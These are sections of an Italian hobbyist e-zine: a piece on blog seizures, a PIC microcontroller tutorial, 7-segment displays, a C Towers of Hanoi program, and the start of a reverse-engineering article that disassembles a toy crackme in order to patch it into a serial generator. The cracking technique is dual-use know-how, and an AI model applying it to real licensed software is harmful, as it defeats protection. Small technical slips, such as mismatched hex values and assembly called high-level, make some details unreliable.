~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


*****************************************************************
* 0x03 :: I blogger e la loro fuga «cibernetica» verso l'estero *
*****************************************************************


Non sarà il nuovo Heldorado, ma sempre più blogger sono "costretti" ad 
appoggiarsi a server esteri per poter mandare avanti il proprio sito senza dover
aver paura di trovarlo oscurato, per un articolo giudicato "diffamatorio"


È ormai da un pezzo che si sente parlare di blog sequestrati, per i più 
disparati motivi, a volte viene cancellato semplicemente un articolo, a volte 
intere pagine, a volte invece la Polizia decide di chiudere 
interi siti internet, anche a scopi "precauzionali".

È successo recentemente ad esempio, che il blog di Carlo Vulpio, noto 
giornalista del Corriere della Sera, dopo un ordinanza di un Procuratore di 
Bari, venisse chiuso perchè un articolo presente in esso fosse stato giudicato 
diffamatorio. Quindi si è ricorsi alla cancellazione di un intero blog 
(e quindi di un intero sito internet) e non solo dell'articolo in questione.
In realtà però si è saputo dallo stesso blogger, 
che il sequestro era stato preventivato circa un anno fa, 
ma è stato messo in atto solo ora, semplicemente perchè il server dove il 
blog si appoggiava, era ubicato fuori dai confini italiani.

Fino a poco tempo fa nell'intricata ragnatela cibernetica, potevamo trovare ogni 
genere di blog, da quello sul punto croce, a quello su "Come costruire una nave 
fantasma con gli stecchini del ghiacciolo", non che ora non se ne trovino più, 
ma è che pare sia sempre più semplice "rischiare di dire qualcosa di sbagliato".
Le leggi non sono poi così permissive(giustamente), ma non sono nemmeno 
dettagliate, se il tuo blog/sito incita all'odio razziale 
viene oscurato, ed è giusto, se il tuo blog insegna come costruire una bomba, 
viene chiuso, ed è giusto!

Una nuova generazione di blogger però è nata negli ultimi anni 
(se la si può definir tale), sono quelli che "offrono" servizi di streaming, 
ovviamente gratuito, e che, commettono un reato (tenendo sempre conto della 
legislazione italiana), violando i diritti televisivi e d'autore.

Dalla lotta contro di essi forse parte il "così essere meticolosi" verso i blog,
e il "credere e vedere" diffamatoria ogni minima affermazione.
Ovviamente c è chi diffama, incita alla violenza, all'odio e che quindi va 
giustamente e prontamente punito, ma cè anche una schiera di blogger, 
che vorrebbero e dovrebbero poter scrivere di argomenti pseudo-politici, 
senza aver paura di veder cancellata questa o quell'altra "citazione",la 
Costituzione italiana infatti, parlerebbe chiaramente di Libertà di stampa, 
e ogni cittadino dovrebbe essere libero di "utilizzarla", 
ovviamente sempre nei limiti che la legge ci impone.

Concludendo quindi, la nuova politica dei sequestri di siti, viene attuata quasi 
superficialmente (forse anche volutamente), e invece di cancellare 
quell'articolo "incriminato", si preferisce oscurare un intero sito, quasi a 
voler zittire del tutto l'autore, e nelle situazioni in cui il sequestro non 
sia fisicamente attuabile, perchè il server si trova all'estero, vengono sempre 
più frequentemente bannati Domini DNS o IP dai provider italiani.

Tutto ciò quindi oltre a farci venire molti dubbi sulla possibilità di poter 
esprimere liberamente le nostre opinioni in questo strano paese a forma di 
scarpa, ci fa pensare ulteriormente al fatto che sempre più blogger comprino 
host all'estero per "poter dire la propria".
Non sarebbe meglio rivedere e migliorare le leggi a riguardo, in modo da far 
quantomeno pensare che in Italia si possa dire liberamente ciò che si pensa 
(ribadendo ancora che tutto ciò debba essere fatto sempre e 
comunque nei limiti imposti dalla legge)?


dany15gni


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


******************************
* 0x04 :: I PIC, prima parte *
******************************


>Premessa
Ho scritto questo articolo per quelli che come me usano o vorrebbero usare i
PIC a livello hobbystico, per risolvere i grandi e piccoli problemi della vita
quotidiana (far lampeggiare un led simulando un antifurto (con un 16F629 costa
meno che usando un 555), annaffiare le piante d'estate, passare l'esame di
maturità, etc...)
Con questa guida non pretendo di insegnarvi a usare perfettamente un pic, ma 
solo di darvi una infarinatura sulla loro struttura e le basi per programmarlo,
come strutturare i progetti e l'elettronica di contorno, in poche parole solo
una conoscenza base necessaria all'inizio, poi sta a voi scoprire i trucchi su
come realizzare i progetti nel modo migliore e ampliare le vostre conoscenze...


>Introduzione
I PIC sono dei microcontrollori programmabili prodotti dalla Microchip
Technology Inc. (http://www.microchip.com), in questa guida tratterò
solo la serie 12F e 16F, che sono i più usati dagli hobbisti, anche se si
stanno diffondendo anche quelli della serie 18F.
I PIC sono disponibili in vari package, tra cui:
PDIP/CERDIP (http://img72.imageshack.us/img72/3427/40pdip.jpg)
SOIC (http://img836.imageshack.us/img836/623/28soic.jpg)
SSOP (http://img822.imageshack.us/img822/4671/16ssop.jpg)
TQFP (http://img337.imageshack.us/img337/8776/32tqfp.jpg)
MQFP (http://img714.imageshack.us/img714/6506/64mqfp.jpg)
PLCC (http://img801.imageshack.us/img801/5881/44plcc.jpg)

Il formato più semplice da usare è il PDIP (Pastic Dual In Line) e CERDIP
(Ceramic Dual InLine), in quanto i pin hanno il passo di 0,1 pollici, o 2,54mm,
e possono essere tranquillamente montati su una scheda millefori o bread-board.
Gli altri package sono per montaggio superficiale (eccetto il PLCC, che ha
bisogno di zoccoli particolari e sono disponibili sia per montaggio
superficiale o passante, ma non per bread-board), e quindi non alla portata di
tutti gli hobbisti (solo di quelli che si fanno i pcb in casa o se li fanno
fare dalle ditte), comunque hanno lo stesso funzionamento degli altri package,
in quanto il chip interno è il solito :D.

I PIC vengono chiamati microcontrollori anziché microprocessori perché, a
differenza di un normale microprocessore essi dispongono di registri e
periferiche particolari come:
Porte di I/O
Porte Seriali (UART,USART, I2C, SPI, USB, Ethernet, etc...)
Porte parallele
Contatori
EEPROM
RAM
Comparatori
Convertitori A/D

In oltre in un microprocessore i bus controlli, indirizzi e dati sono
accessibili dall'esterno, in quanto esso non dispone di periferiche integrate,
mentre in un microcontrollore questi bus sono interni, è collegati ai registri
delle periferiche.

Mettiamo a confronto le due strutture interne:
µProcessore:
(http://img718.imageshack.us/img718/2109/struttura20up.jpg)

µControllore:
(http://img338.imageshack.us/img338/4528/struttura20uc.jpg)

Come si può notare la struttura di un microcontrollore è molto più articolata
rispetto a quella di un microprocessore.
Esso integra la ram, la EEPROM e la memoria del programma (Flash Program Memory
nello schema).
I Timer sono dei registri particolari, a seconda delle funzioni possono fare da
contaimpulsi, timer con sorgente degli impulsi interno o esterno, misurare il
periodo alto e basso di un segnale etc.
La EEPROM interna è di dimensioni piccole, ma può servire per salvare qualche
variabile o simili.
L'A/D è un convertitore analogico-digitale a 10 bit, è utile per misurare
tensioni tra 0 e 5V.
I comparatori possono essere usati per comparare 2 tensioni in ingresso, il
risultato può essere letto sia su un registro interno del pic che su un pin di
uscita.
L'USART è la porta seriale, utile per collegarlo al pc o ad altri dispositivi
(modem, stampanti, periferiche di acquisizione, etc.).
Le porte seriali sincrone sono l'I2C e SPI, possono essere usate per collegare
al microcontrollore memorie EEPROM esterne (tipo le 24Cxxxx), port expander,
sensori etc...
Il voltage reference serve per creare una tensione di riferimento per un
ingresso dei comparatori.
Un microcontrollore PIC si programma tramite un "programmatore", cioè un
circuito elettronico che serve a scrivere sulla flash interna, esso può essere
acquistato in negozi di elettronica o su internet, la Microchip vende il
PicKit2 e Pickit3, oltre a vari programmatori più complessi usati a livello
industriale, o sennò sono disponibili dei cloni, altra possibilità è
costruirsene uno con i vari schemi disponibili in rete, ad es il ludipipo o
JDM.

I pin di uscita (+5V, V Prog, Clock, Dati e Gnd) vanno collegati ai rispettivi
pin del pic per la programmazione (vdd, mcrl, rb6, rb7, vss).

I programmi che essi caricano nella memoria del pic sono in formato *.hex o
esadecimale, il sottostante è un esempio di programma che serve a far
lampeggiare un led sul pin 0 della portb:
:100000000428FF3FFF3FFF3FFF30031383168500A7
:10001000FE308600FF308700013083120605F100B4
:100020007108003A031D162806141728061006301A
:10003000FC00FF30FB00FF30FA00FC0B20282728D3
:10004000FB0B23282628FA0B232820281D281A30EA
:10005000FB00FF30FA00FB0B2E283128FA0B2E286C
:100060002B284230FA00FA0B332800000C283728DE
:02400E003A3F37
:00000001FF

Per comodità (e per semplicità) si usa l'assembler, un linguaggio a alto
livello, ma comunque richiede alte conoscenze dei registri del pic e dei vari
comandi, per esempio lo stesso codice diventa così (è gererato in automatico
dal compilatore MikroBasic):

;  Assembly code generated by mikroVirtualMachine - V. 5.0.0.3
;  Date/Time: 21/03/2009 19.46.56
;  Info: http://www.mikroe.com
; ADDRESS  OPCODE  ASM
; ----------------------------------------------
$0000  $2804      GOTO  _main
$0004  $  _main:
;lampeggio.pbas,3 ::     main:
$0004  $  _main_main:
;lampeggio.pbas,4 ::     trisa = $FF
$0004  $30FF      MOVLW  255
$0005  $1303      BCF  STATUS, RP1
$0006  $1683      BSF  STATUS, RP0
$0007  $0085      MOVWF  TRISA
;lampeggio.pbas,5 ::     trisb = $FE
$0008  $30FE      MOVLW  254
$0009  $0086      MOVWF  TRISB
;lampeggio.pbas,6 ::     trisc = $FF
$000A  $30FF      MOVLW  255
$000B  $0087      MOVWF  TRISC
;lampeggio.pbas,7 ::     while true
$000C  $  lampeggio_L_2:
;lampeggio.pbas,8 ::     if portb.0 = 0 then
$000C  $3001      MOVLW  1
$000D  $1283      BCF  STATUS, RP0
$000E  $0506      ANDWF  PORTB, 0
$000F  $00F1      MOVWF  STACK_1
$0010  $0871      MOVF  STACK_1, 0
$0011  $3A00      XORLW  0
$0012  $1D03      BTFSS  STATUS, Z
$0013  $2816      GOTO  lampeggio_L_7
$0014  $  lampeggio_L_6:
;lampeggio.pbas,9 ::     portb.0 = 1
$0014  $  lampeggio_L_9:
$0014  $1406      BSF  PORTB, 0
$0015  $  lampeggio_L_10:
$0015  $2817      GOTO  lampeggio_L_8
;lampeggio.pbas,10 ::     else
$0016  $  lampeggio_L_7:
;lampeggio.pbas,11 ::     portb.0 = 0
$0016  $1006      BCF  PORTB, 0
$0017  $  lampeggio_L_12:
;lampeggio.pbas,12 ::     end if
$0017  $  lampeggio_L_8:
;lampeggio.pbas,13 ::     delay_ms(500)
$0017  $3006      MOVLW  6
$0018  $00FC      MOVWF  STACK_12
$0019  $30FF      MOVLW  255
$001A  $00FB      MOVWF  STACK_11
$001B  $30FF      MOVLW  255
$001C  $00FA      MOVWF  STACK_10
$001D  $0BFC      DECFSZ  STACK_12, F
$001E  $2820      GOTO  $+2
$001F  $2827      GOTO  $+8
$0020  $0BFB      DECFSZ  STACK_11, F
$0021  $2823      GOTO  $+2
$0022  $2826      GOTO  $+4
$0023  $0BFA      DECFSZ  STACK_10, F
$0024  $2823      GOTO  $-1
$0025  $2820      GOTO  $-5
$0026  $281D      GOTO  $-9
$0027  $301A      MOVLW  26
$0028  $00FB      MOVWF  STACK_11
$0029  $30FF      MOVLW  255
$002A  $00FA      MOVWF  STACK_10
$002B  $0BFB      DECFSZ  STACK_11, F
$002C  $282E      GOTO  $+2
$002D  $2831      GOTO  $+4
$002E  $0BFA      DECFSZ  STACK_10, F
$002F  $282E      GOTO  $-1
$0030  $282B      GOTO  $-5
$0031  $3042      MOVLW  66
$0032  $00FA      MOVWF  STACK_10
$0033  $0BFA      DECFSZ  STACK_10, F
$0034  $2833      GOTO  $-1
$0035  $0000      NOP
$0036  $280C      GOTO  lampeggio_L_2
;lampeggio.pbas,14 ::     wend
$0037  $2837      GOTO  $

Le righe che iniziano con il ; sono annotazioni del programma e i comandi in
mikrobasic.
Il mikrobasic è un linguaggio più semplice, ad alto livello, con cui non
importa conoscere i registri del pic, ma solo il linguaggio, esso integra molte
librerie per gestire i vari registri senza accedervi direttamente, un esempio
di listato è questo (è sempre il solito di sopra, e dopo gli ' c'è le note, o
commenti sul programma :D):

program lampeggio

main:                     'Inizio del programma
  trisa = $FF             'Porta A in ingresso
  trisb = $FE             'Porta B in ingresso eccetto il bit 0
  trisc = $FF             'Porta C in ingresso
  while true              'Ciclo infinito
    if portb.0 = 0 then   'Se il bit 0 della porta B è a 0
      portb.0 = 1         'Lo porta a 1 (accende il led)
    else                  'Sennò (cioè se il bit 0 della porta B è a 1)
      portb.0 = 0         'Lo porta a 0 (spenge il led)
    end if                'Fine del ciclo if
    delay_ms(500)         'Attende 500ms per fare un lampeggio a 1 Hz
  wend                    'Fine del ciclo infinito (da qui riparte da capo)
end.                      'Fine del programma

Come si può notare è molto più semplice e corto come linguaggio, e una sola
istruzione, convertita in assembler, diventa anche 30 righe di codice (vedete
il comando delay_ms(500), che serve 'semplicemente' a attendere 500ms).

Per scrivere il programma in formato *.hex dentro il pic, oltre al
programmatore, abbiamo bisogno (nel caso di programmatori autocostruiti) di un
programma che invii tramite la seriale il file al pic, per questo si usa
IC-Prog o WinPic 800.


>Che cosa serve

-Programmatore (uno a scelta):
  PicKit2, interfaccia usb (microchip)
  PicKit3, interfaccia usb (microchip)
  Easypic5, interfaccia usb, funziona anche da test-board (MikroElektronika)
  Easypic5, interfaccia usb, funziona anche da test-board (MikroElektronika)
  Ludipipo (JDM), interfaccia seriale (autocostruito)
  MiniPropic2clone, interfaccia parallela (autocostruito)

-Programmi di interfaccia col programmatore (non necessari con PicKit2):
  IC-Prog -> http://www.ic-prog.com/index1.htm
  WinPic 800 -> http://www.winpic800.com/index.php?lang=en

-Compilatori:
  -Assembler:
    MP LAB -> http://www.microchip.com

  -Basic:
    MikroBasic -> http://www.mikroe.com/en/compilers/mikrobasic/pic/
    PicBasic -> http://www.microengineeringlabs.com/products/index.htm
    Proton DS -> http://www.picbasic.it/it/
  -C:
    MikroC -> http://www.mikroe.com/en/compilers/mikroc/pro/pic/
    PicC -> http://www.htsoft.com/
  -Pascal:
    MikroPascal -> http://www.mikroe.com/en/compilers/mikropascal/pic/

-Pic (uno a scelta, sono i più comuni):
  16F84A
  16F628A
  16F876A (consigliato)
  16F877A

-Programmi per disegno schemi elettrici (uno a scelta):
  Proteus (a pagamento)
  Electronic Workbench
  Eagle Circuits

-Altro:
  Conoscenze di elettronica
  Manualità
  Strumenti vari (cacciaviti, pinze, tronchesine etc…)
  Bread-Board
  Componenti elettronici (quarzi, condensatori, regolatori di tensione (7805),
   resistenze, led, pulsanti, potenziometri etc...)
  Alimentatore stabilizzato (va bene anche a 12-18V, va costruito il circuito
   per abbassare a 5V però)
  I DATASHEET dei componenti usati (alcune volte è mooooolto utile stamparseli)
  MOLTA PAZIENZA ma soprattutto
  VOGLIA DI IMPARARE

Il costo iniziale è un pò altino, dipende soprattutto da dove si reperisce il
materiale, di che qualità e la quantità.
un esempio:
i saldatori vanno da 5 a oltre 90€, per 5€ si prende un saldatore a stilo da
230V senza il controllo della temperatura e potenza fissa di circa 40-60W, con
50€ si riesce a trovare una stazione saldande con stilo a 12-24V, temperatura
controllata, 40W di potenza e punte intercambiabili.
Per i pic dipende soprattutto da dove si prendono, all'RS (grossista a livello
mondiale di componenti per l'industria) si trovano a buon prezzo, in quasi
tutti i package, in oltre si può prendere anche tutto il resto del materiale,
compreso saldatore, stagno, resistenze, led, etc...
ci sono anche negozi on-line, tipo pcbfacile, futura elettronica, etc...,
dove hanno i più comuni, magari in 2 formati di package (di solito pdip e sop),
a un costo ragionevole, oltre a molti kit di componenti assortiti per valore
(esempio di resistenze), dove si risparmia abbastanza.
altro posto dove si trovano componenti è ebay, però bisogna stare attenti ai
costi di spedizione, che se si compra più componenti o da più rivenditori
potrebbero superare il costo dei componenti!
molti venditori infatti per evitare problemi di pacchi persi alle poste usano
corrieri espressi tipo bartolini, ups, tnt, sda, che hanno costi da 6,90€ in
sù, fino a oltre 25 per pezzi particolarmente voluminosi.

>I più usati

I pic più usati dagli hobbysti sono:
12F629 - 8 Pin
12F675 - 8 Pin
16F84A - 18 Pin
16F627A - 18 Pin
16F628A - 18 Pin
16F876A - 28-Pin
16F877A - 40-Pin
Ultimamente si stanno affermando i PIC della serie 18F anche tra gli hobbisti,
vengono preferiti alla serie 16F perché dispongono anche di una interfaccia USB
Hi-Speed e oscillatore interno.

        |-------MEMORIA-------|  PORTE   ADC
PIC         FLASH    RAM   EEPROM   I/O     CHN
12F629    1k      64      128      6      -
12F675    1k      64      128      6      4
16F84A    1k      68      64      13      -
16F627A    1k      224      128      16      -
16F628A    2k      224      128      16      -
16F876A    8k      368      256      22      5
16F877A    8k      368      256      33      8
18F2550    32k      2k      256      24     10
18F4550    32k      2k      256      35     13


        |------------COMUNICAZIONE-----------|   TIMER
PIC         MSSP     SPI     I2C    USART    USB   8/16 bit
12F629    -        -       -        -      -     1/1
12F675    -        -       -        -      -     1/1
16F84A    -        -       -        -      -     1/0
16F627A    1        -       -        Y      -     2/1
16F628A    1        -       -        Y      -     2/1
16F876A    2        Y       Y        Y      -     2/1
16F877A    2        Y       Y        Y      -     2/1
18F2550    1        Y       Y        Y      Y     1/3
18F4550    1        Y       Y        Y      Y     1/3

Come si può notare la serie 18F è abbastanza più versatile rispetto alla 16F
(vi capiterà che non entra il programma nella flash, oppure che non basta la
ram per tutte le variabili)
Inoltre l'usb risulta utile per l'interfacciamento con i moderni computer,
che non dispongono della porta seriale accessibile dall'esterno (di solito è
uno strip 5x2 sulla scheda madre), si vedono su internet molti progetti in cui
viene usato un 18F per pilotare dei relè tramite pc, come sistema di
acquisizione dati esterno o come HID.


>I Registri

Il PIC per poter gestire gli input e output, le varie periferiche e i timer usa
dei registri, cioè degli indirizzi di memoria specifici per ogni periferica.
La loro posizione varia da pic a pic, ma i compilatori accettano anche i nomi
dei registri, che invece sono statici (il registro TRISA si chiama TRISA in
tutti i PIC che hanno questa porta, cioè i 16F).
I registri possono esseri bloccati (bit non usati), in sola lettura e in
lettura/scrittura, il valore che essi devono acquisire può essere scritto in
binario (mettendo il suffisso %), in esadecimale (o HEX, suffisso $) e decimale
(senza suffisso).

Alcuni di questi registri sono (prendo in esame quelli del 16F876A e 16F877A):
-TRIS(porta): dove (porta) è la lettera della porta, serve a indicare se i pin
 della porta sono in ingresso o uscita (0 = uscita, 1 = ingresso), ad esempio:
  TRISA = %11110000  'porta A, bit 0-3 in uscita e bit 4-7 in ingresso
  TRISB = $F0    'porta B, bit 0-3 in uscita e bit 4-7 in ingresso
  TRISC = 240    'porta C, bit 0-3 in uscita e bit 4-7 in ingresso

-PORT(porta): dove (porta) è la lettera della porta, serve a leggere o scrivere
la (porta), se a livello alto o basso (0 = basso, 1 = alto), ad esempio:
  PORTA = %11110000  'porta A, bit 0-3 in a livello basso e bit 4-7 alti
  PORTB = $F0    'porta B, bit 0-3 in a livello basso e bit 4-7 alti
  PORTC = 240    'porta C, bit 0-3 in a livello basso e bit 4-7 alti

-INTCON: è il registro di attivazione generale dei interrupt.

-OPTION_REG: gestisce i pull-up delle porte, oltre a dei parametri del timer0
(prescaler, sensibilità sul fronte di salita o discesa ecc…)

-TMR(n): dove n è il numero del timer, è il registro che contiene il valore del
conteggio del timer (se a 8 bit va da 0 a 255, se a 10 da 0 a 1023 e se a 16 da
0 a 65535).

-ADCON(n): dove n può essere 1 o 2, sono i registri di settaggio e comando del
convertitore analogico-digitale a 10 bit.

-CMCON: è il registro che comanda i 2 comparatori analogici interni al pic.

La descrizione dei settaggi e dei vari valori di essi la trovate sul datasheet,
oltre alla mappa della memoria.

I registri a 10 e 16 bit non possono essere letti direttamente, in quanto sono
composti da due registri differenti da 8 bit, un esempio è il TMR1L e TMR1H,
che sono i due pezzi del TMR1.
Un modo per poterli leggere entrambi insieme è raggrupparli in un unico
registro, senza doverli leggere entrambi e raggrupparli via software è
inserendo tra le variabili una con indirizzo di memoria fisso, che inizia alla
posizione del TMR1L e lunga 16 bit:
dim timer16bit as word absolute $0E volatile
La direttiva absolute indica al compilatore che questa variabile deve iniziare
all'indirizzo $0E, e essendo lunga 2 byte, comprende anche l'indirizzo $0F,
cioè quello del TMR1H, raggruppandoli in una sola variabile; la direttiva
volatile indica che questo registro può cambiare senza la scrittura di un dato
da parte del programma (ad esempio quando è impostato come contaimpulsi).


link89


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


**********************************
* 0x05 :: I display a 7 segmenti *
**********************************


Usati ormai in tutto il mondo, eppure non tutti sanno come funzionano veramente.
Forse il nome non vi dirà nulla, ma guardando l'immagine qui sotto sono certo
capirete di cosa sto parlando :)
      _________________
     /                 \
   / \ _______________ / \
  |   |               |   |
  |   |               |   |
  |   |               |   |
  |   |               |   |
  |   |_______________|   |
   \ /                 \ /
   / \ _______________ / \
  |   |               |   |
  |   |               |   |
  |   |               |   |
  |   |               |   |
  |   |_______________|   |   ___
   \ /                 \ /   |   |
     \_________________/     |___|

Bene, avete capito di cosa stiamo parlando ora, vero? :D

Questi bei display sono formati da 7 led "giganti".

I led sono numerati così:
      _________________
     /        a        \
   / \ _______________ / \
  |   |               |   |
  |   |               |   |
  | f |               | b |
  |   |               |   |
  |   |_______________|   |
   \ /        g        \ /
   / \ _______________ / \
  |   |               |   |
  |   |               |   |
  | e |               | c |
  |   |               |   |
  |   |_______________|   |   ___
   \ /        d        \ /   | p |
     \_________________/     |___|


Questi display si dividono in 2 categorie: anodo comune e catodo comune.

Anodo comune:  hanno una +VCC (3/5 volt) in comune, e ogni led ha un pin: la
               massa(o catodo);

Catodo comune: il mio preferito(è anche più semplice comandarlo con PIC & co).
               Ha la massa in comune, e date la tensione(+VCC) al pin corrispon-
               dente al led scelto :)

Molti di voi si porranno questa domanda: "Come trovo il pin corrispondente a...
(chessò) "c"?"
Semplice: andate a tentativi XD

Tentate una massa e toccate con la VCC(max 5v!!!) un altro piedino: se non si
accende nulla, avete cannato massa.
Quando azzeccate la massa, trovate gli altri pin :)

Bene, vogliamo fare un contatore usando un PIC?
Dopo aver scritto il programma(che non ho voglia di scrivere qui)
arriverà il momento di disegnare il numero sul 7seg.
Immaginiamo di aver collegato all'uscita B del PIC i 7 segementi esaattamente:

B0  B1  B2  B3  B4  B5  B6  B7
 a   b   c   d   e   f   g   p

P facoltativo :)

Ora, vogliamo scrivere "0": i segmenti che si dovranno accendere saranno

a + b + c + d + e + f
in corrispondenza

B5 + B4 + B3 + B2 + B1 + B0 = 00111111 
"00" indica B6 e B7 spenti!
(ricordate che in binario il numero più grande va a sinistra)

Quindi scriveremo in PORTB: 63 o 0x3F

--ASM CODE--

MOVLW 0x1F
MOVWF PORTB

--END ASM CODE--

Ecco qui una tabella:

+---+----------+------+
| N | PGFEDCBA | HEX  |
+---+----------+------+
| 0 | 00111111 | 0x3F |
| 1 | 00000110 | 0x06 |
| 2 | 01011011 | 0x5B |
| 3 | 01001111 | 0x4F |
| 4 | 01100110 | 0x66 |
| 5 | 01101101 | 0x6D |
| 6 | 01111100 | 0x7C |
| 7 | 00000111 | 0x07 |
| 8 | 01111111 | 0x7f |
| 9 | 01101111 | 0x6f |
+---+----------+------+


L'unico "difetto" (soprattutto per i PIC) è che, ha appunto 7 segmenti => 7 pin
e per chi, come me non bastano mai i pin del proprio integrato si lamenterà.
(su 12/13 pin usarne 7 per un display e magari doverci collegare altri
dispositivi)

Ma abbiamo una soluzione anche per questo: esistono alcuni integrati chiamati
- 74(2)47  (anodo comune)
- 74(2)48  (catodo comune)

Che si chiamano appunto "driver":

      Vcc
       o
       |
       |       _________________________
       |      |                         |
       +------| Vcc                   a |----
       |      | __                      |
       +------| LT                    b |----
       |      | ___                     |
       +------| RBI                   c |----
       |      |                         |
       |  ----| D                     d |----
       |      |                         |
       |  ----| C                     e |----
       |      |                         |
       |  ----| B                     f |----
       |      |                         |
       |  ----| A                     g |----
       |      | __ ___                  |
       +------| BI/RBO   GND            |
              |_________________________|
                         _|_
                         ///

Vcc = +5v
Gnd = massa
(ma va?)

I quattro pin identificati da lettere *MAIUSCOLE* vanno collegati all'integrato.
I 7 pin identificati dalle lettere minuscole vanno collegati al 7seg :)
E' consigliabili usare una resistenza da 220ohm tra ogni uscita/ogni led :)
(eh si, il "puntino" non se lo caga mai nessuno)
__
LT  = Lamp Test: se tenuto a massa accende tutti i led;
___                                                  ___
RBI = Se mostrare lo 0: se arriva in input uno '0' e RBI è a Vcc, mostra uno 0;
      altrimenti spegne il display
__ ___
BI/RBO = Se tenuto a massa spegne il display.

Ora, se 

A  B  C  D
0  0  0  1

sul display comparirà un '1';

0000 => '0'
0001 => '1'
0010 => '2'
0011 => '3'
0100 => '4'
0101 => '5'
0110 => '6'
0111 => '7'
1000 => '8'
1001 => '9'
1010 => SIMBOLO STRANO (ogni driver ne ha uno suo)
1011 => SIMBOLO STRANO (ogni driver ne ha uno suo)
1100 => SIMBOLO STRANO (ogni driver ne ha uno suo)
1101 => SIMBOLO STRANO (ogni driver ne ha uno suo)
1110 => SIMBOLO STRANO (ogni driver ne ha uno suo)
1111 => SIMBOLO STRANO (ogni driver ne ha uno suo)

Ma questo cambia da driver a driver: consultate il datasheet per una
documentazione più accurata :)

Il bello del driver è che permette di utilizzare un display
(solo per visualizzazione numerica) con solo 4 pin!

Buona disegnataaa :D

r0b0t82


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


**************************
* 0x06 :: Torri di Hanoi *
**************************


Le torri di Hanoi sono un rompicapo (gioco) matematico molto antico.(La data 
ufficiale di creazione è il 1883 ma si crede esistessero già da tempo in India)
Il gioco è composto da 3 paletti (A,B,C) e una serie di dischi (n dischi di 
grandezza diversa) che inizialmente sono incolonnati sul paletto A in ordine
decrescente dal basso verso l'alto, lo scopo è spostare tutti i dischi sul 
paletto C.

 *****************************************************************************
*                                                                             *
*                                                                             *
*         disco 1 --->  _____||_____                ||             ||         *
*                            ||                     ||             ||         *
*      disco 2 --->  ________||________             ||             ||         *
*                            ||                     ||             ||         *
*    disco n-1 --->__________||___________          ||             ||         *
*                            ||                     ||             ||         *
* disco n --->_______________||_______________      ||             ||         *
*                            ||                     ||             ||         *
*                             A                     B              C          *
*                                                                             *
 *****************************************************************************

Le regole fondamentali sono che è possibile spostare solo un disco per volta e 
non è permesso mettere un disco sopra ad uno più piccolo di esso.
La leggenda racconta che un gruppo di monaci, i monaci di Hanoi per l'appunto,
passassero la vita a cercare di risolvere il gioco con 64 dischi e che al 
completamento del lavoro ci sarebbe stata la fine del mondo.
Il numero minimo di mosse necessarie per risolvere il gioco equivale a 2 
elevato al numero di dischi meno 1, ad esempio con 5 dischi il numero minimo 
di mosse sarà 31 ==> infatti  (2^5)-1 = 32-1= 31
I monaci della leggenda dovranno quindi compiere 18.446.744.073.709.551.615
mosse (2^64-1), compiendo una mossa al secondo il mondo finirà tra 
5.845.580.504 secoli.
Il gioco è facilmente risolvibile con un algoritmo ricorsivo in 3 fasi:
  1) sposto (n-1) dischi dal paletto A al B
  2) sposto il disco n (il più grande e l'unico rimasto su A) da A a C
  3) sposto gli (n-1) dischi da B a C
Spostare (n-1) dischi può sembrare un'operazione complessa, in realtà 
l'algoritmo ricorsivo lo rende molto semplice, esso infatti, non farà altro 
che spostare (n-2) dischi per poi muovere il rimanente.

Ecco l'implementazione in linguaggio C dell'algoritmo.
Il programma restituisce la serie di mosse da compiere per risolvere il gioco.

#include <stdio.h>
#include <math.h>

int hanoi(int n, char pA, char pB, char pC);

int main()
{  
      int n=0;
      printf("Inserisci il numero di dischi: "); 
      scanf("%d",&n);
      hanoi(n,'A','B','C');
      int mosse=pow(2,n)-1;
      printf("\n Operazione conclusa in %d mosse",mosse);
      return 0;
      
}
      
int hanoi (int n, char pA, char pB, char pC)
{
    if (n>0) 
    {
            hanoi(n-1,pA,pC,pB);
            printf("%c --> %c\n",pA,pC);
            hanoi(n-1,pB,pA,pC);
    }
    return 0;        
}


baba


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


*******************************
* 0x07 :: Reverse Engineering *
*******************************


Bene, in questo articolo vedremo di affrontare un po' il reverse engineering,
non usando sempre le solite vie, ma affrontandone di alternative, non sempre
applicabili ma molto, molto più fighe ;).

Cominciamo con questa, molto elementare che ci consentirà di trasformare
il programma che richiede un serial in un generatore di serial, modificando
pochi byte.
Prendiamo il source del crackme:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char *crypt (char *uname) {
        char *passwd;
        int i;
        passwd=malloc (strlen(uname));
        for (i=0;i<strlen(uname);i++) {
                passwd[i]=(uname[i]+4*(i+1))%127;
                if (passwd[i]<32)
                        passwd[i]+=32;
        }
        passwd[i]=0;
        return passwd;
}

int main (int argc, char *argv[]) {
        if (argc<3) {
                printf ("Usage: %s <username> <password>\n",argv[0]);
                return 0;
        }
        if (!strcmp (argv[2],crypt (argv[1])))
                printf ("Password corretta ;)!\n");
        else
                printf ("Password sbagliata :(\n");
        return 0;
}

E compiliamolo con gcc.

Una volta fatto, apriamo l'eseguibile ottenuto con objdump:

darkjoker@localhost:~/rev$ gcc -o a a.c
darkjoker@localhost:~/rev$ objdump -D a
[output tagliato]
 804856e:       55                      push   %ebp
 804856f:       89 e5                   mov    %esp,%ebp
 8048571:       83 e4 f0                and    $0xfffffff0,%esp
 8048574:       83 ec 10                sub    $0x10,%esp
 8048577:       83 7d 08 02             cmpl   $0x2,0x8(%ebp)
 804857b:       7f 1d                   jg     804859a <main+0x2c>
 804857d:       8b 45 0c                mov    0xc(%ebp),%eax
 8048580:       8b 10                   mov    (%eax),%edx
 8048582:       b8 b0 86 04 08          mov    $0x80486b0,%eax
 8048587:       89 54 24 04             mov    %edx,0x4(%esp)
 804858b:       89 04 24                mov    %eax,(%esp)
 804858e:       e8 29 fe ff ff          call   80483bc <printf@plt>
 8048593:       b8 00 00 00 00          mov    $0x0,%eax
 8048598:       eb 47                   jmp    80485e1 <main+0x73>
 804859a:       8b 45 0c                mov    0xc(%ebp),%eax
